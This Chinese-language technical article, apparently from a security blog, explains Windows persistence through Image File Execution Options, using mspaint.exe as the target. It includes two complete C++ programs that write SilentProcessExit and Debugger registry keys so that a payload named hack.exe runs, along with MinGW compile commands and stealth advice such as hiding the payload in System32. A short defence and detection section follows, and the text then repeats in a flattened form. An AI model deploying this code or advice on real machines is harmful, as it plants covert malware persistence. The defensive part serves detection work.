利用windows自带的画图软件(mspaint.exe)进行权限维持
字数 1281 2025-08-24 07:48:34

Windows权限维持技术:利用图像文件执行选项(IFEO)实现持久化

一、IFEO技术概述

图像文件执行选项(Image File Execution Options, IFEO)是Windows提供的一种机制,主要用于开发调试目的。它允许开发人员将调试器附加到应用程序或进程上,使调试器/应用程序能够与被调试的应用程序同时运行。

恶意软件可以利用IFEO实现权限维持,通过以下两种方式:

  1. 静默进程退出监控(SilentProcessExit)
  2. 调试器劫持(Debugger)

二、静默进程退出监控技术

1. 技术原理

当目标进程通过以下方式终止时,可以触发恶意程序的执行:

  • 进程自我调用ExitProcess终止
  • 其他进程调用TerminateProcess终止目标进程

2. 注册表配置

需要修改以下注册表项:

HKLM\Software\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\<目标进程>

关键值:

  • GlobalFlag: 启用静默进程退出监控功能(值为512)
  • ReportingMode: 设置报告模式(通常设为1)
  • MonitorProcess: 指定要执行的恶意程序路径

3. 实现代码示例

/* pers.cpp - 通过IFEO(GlobalFlag)实现Windows持久化 */
#include <windows.h>
#include <string.h>

int main(int argc, char* argv[]) {
    HKEY hkey = NULL;
    DWORD gF = 512;
    DWORD rM = 1;
    
    // 目标进程
    const char* img = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\mspaint.exe";
    const char* silent = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\mspaint.exe";
    const char* exe = "Z:\\2022-09-10-malware-pers-10\\hack.exe";

    // 设置GlobalFlag
    LONG res = RegCreateKeyEx(HKEY_LOCAL_MACHINE, (LPCSTR)img, 0, NULL, 
                             REG_OPTION_NON_VOLATILE, KEY_WRITE | KEY_QUERY_VALUE, 
                             NULL, &hkey, NULL);
    if (res == ERROR_SUCCESS) {
        RegSetValueEx(hkey, (LPCSTR)"GlobalFlag", 0, REG_DWORD, 
                     (const BYTE*)&gF, sizeof(gF));
        RegCloseKey(hkey);
    }

    // 设置SilentProcessExit
    res = RegCreateKeyEx(HKEY_LOCAL_MACHINE, (LPCSTR)silent, 0, NULL,
                        REG_OPTION_NON_VOLATILE, KEY_WRITE | KEY_QUERY_VALUE,
                        NULL, &hkey, NULL);
    if (res == ERROR_SUCCESS) {
        RegSetValueEx(hkey, (LPCSTR)"ReportingMode", 0, REG_DWORD,
                    (const BYTE*)&rM, sizeof(rM));
        RegSetValueEx(hkey, (LPCSTR)"MonitorProcess", 0, REG_SZ,
                    (unsigned char*)exe, strlen(exe));
        RegCloseKey(hkey);
    }
    return 0;
}

4. 工作流程

  1. 当目标进程(mspaint.exe)启动时,系统会检查IFEO注册表项
  2. 如果设置了GlobalFlag=512,系统会监控该进程的退出
  3. 当进程静默退出时,Windows错误报告进程(WerFault.exe)会启动
  4. WerFault.exe作为父进程执行MonitorProcess指定的恶意程序

三、调试器劫持技术

1. 技术原理

通过在IFEO注册表项中设置Debugger键值,可以指定一个调试器程序。当目标进程启动时,系统会首先启动指定的"调试器"程序。

2. 注册表配置

需要修改以下注册表项:

HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\<目标进程>

关键值:

  • Debugger: 指定要执行的恶意程序路径

3. 实现代码示例

/* pers2.cpp - 通过IFEO(Debugger)实现Windows持久化 */
#include <windows.h>
#include <string.h>

int main(int argc, char* argv[]) {
    HKEY hkey = NULL;
    // 目标进程
    const char* img = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\mspaint.exe";
    const char* exe = "hack.exe";

    // 设置Debugger
    LONG res = RegCreateKeyEx(HKEY_LOCAL_MACHINE, (LPCSTR)img, 0, NULL,
                            REG_OPTION_NON_VOLATILE, KEY_WRITE | KEY_QUERY_VALUE,
                            NULL, &hkey, NULL);
    if (res == ERROR_SUCCESS) {
        RegSetValueEx(hkey, (LPCSTR)"Debugger", 0, REG_SZ,
                    (unsigned char*)exe, strlen(exe));
        RegCloseKey(hkey);
    }
    return 0;
}

4. 工作流程

  1. 当目标进程(mspaint.exe)启动时,系统会检查IFEO注册表项
  2. 如果设置了Debugger键,系统会先启动指定的"调试器"程序
  3. 恶意程序获得执行权限

四、实际应用注意事项

  1. 权限要求:修改HKLM注册表项需要管理员权限
  2. 目标选择:应选择常用但不会频繁启动的程序(如mspaint.exe)
  3. 隐蔽性:恶意程序最好放在System32目录下,看起来像系统文件
  4. 持久性验证:修改注册表后,应测试目标进程启动是否确实触发了恶意程序

五、防御措施

  1. 注册表监控:监控IFEO相关注册表项的修改
  2. 进程监控:检查异常父进程(如WerFault.exe启动非系统程序)
  3. 权限控制:限制对HKLM注册表项的写入权限
  4. 安全软件:使用能够检测此类持久化技术的安全产品

六、实际案例

APT29等高级持续性威胁组织以及SUNBURST等恶意软件在野外攻击中曾使用过此类权限维持技术。

七、编译说明

使用MinGW编译恶意程序和持久化工具:

x86_64-w64-mingw32-g++ -O2 hack.cpp -o hack.exe -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive

x86_64-w64-mingw32-g++ -O2 pers.cpp -o pers.exe -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive

八、检测与验证

  1. 检查注册表:
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options" /s
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit" /s
  1. 测试目标进程启动和退出行为

通过以上技术分析,我们可以全面了解利用Windows IFEO机制实现权限维持的原理和实现方法,以及相应的防御措施。

Windows权限维持技术:利用图像文件执行选项(IFEO)实现持久化 一、IFEO技术概述 图像文件执行选项(Image File Execution Options, IFEO)是Windows提供的一种机制,主要用于开发调试目的。它允许开发人员将调试器附加到应用程序或进程上,使调试器/应用程序能够与被调试的应用程序同时运行。 恶意软件可以利用IFEO实现权限维持,通过以下两种方式: 静默进程退出监控(SilentProcessExit) 调试器劫持(Debugger) 二、静默进程退出监控技术 1. 技术原理 当目标进程通过以下方式终止时,可以触发恶意程序的执行: 进程自我调用ExitProcess终止 其他进程调用TerminateProcess终止目标进程 2. 注册表配置 需要修改以下注册表项: 关键值: GlobalFlag : 启用静默进程退出监控功能(值为512) ReportingMode : 设置报告模式(通常设为1) MonitorProcess : 指定要执行的恶意程序路径 3. 实现代码示例 4. 工作流程 当目标进程(mspaint.exe)启动时,系统会检查IFEO注册表项 如果设置了GlobalFlag=512,系统会监控该进程的退出 当进程静默退出时,Windows错误报告进程(WerFault.exe)会启动 WerFault.exe作为父进程执行MonitorProcess指定的恶意程序 三、调试器劫持技术 1. 技术原理 通过在IFEO注册表项中设置Debugger键值,可以指定一个调试器程序。当目标进程启动时,系统会首先启动指定的"调试器"程序。 2. 注册表配置 需要修改以下注册表项: 关键值: Debugger : 指定要执行的恶意程序路径 3. 实现代码示例 4. 工作流程 当目标进程(mspaint.exe)启动时,系统会检查IFEO注册表项 如果设置了Debugger键,系统会先启动指定的"调试器"程序 恶意程序获得执行权限 四、实际应用注意事项 权限要求 :修改HKLM注册表项需要管理员权限 目标选择 :应选择常用但不会频繁启动的程序(如mspaint.exe) 隐蔽性 :恶意程序最好放在System32目录下,看起来像系统文件 持久性验证 :修改注册表后,应测试目标进程启动是否确实触发了恶意程序 五、防御措施 注册表监控 :监控IFEO相关注册表项的修改 进程监控 :检查异常父进程(如WerFault.exe启动非系统程序) 权限控制 :限制对HKLM注册表项的写入权限 安全软件 :使用能够检测此类持久化技术的安全产品 六、实际案例 APT29等高级持续性威胁组织以及SUNBURST等恶意软件在野外攻击中曾使用过此类权限维持技术。 七、编译说明 使用MinGW编译恶意程序和持久化工具: 八、检测与验证 检查注册表: 测试目标进程启动和退出行为 通过以上技术分析,我们可以全面了解利用Windows IFEO机制实现权限维持的原理和实现方法,以及相应的防御措施。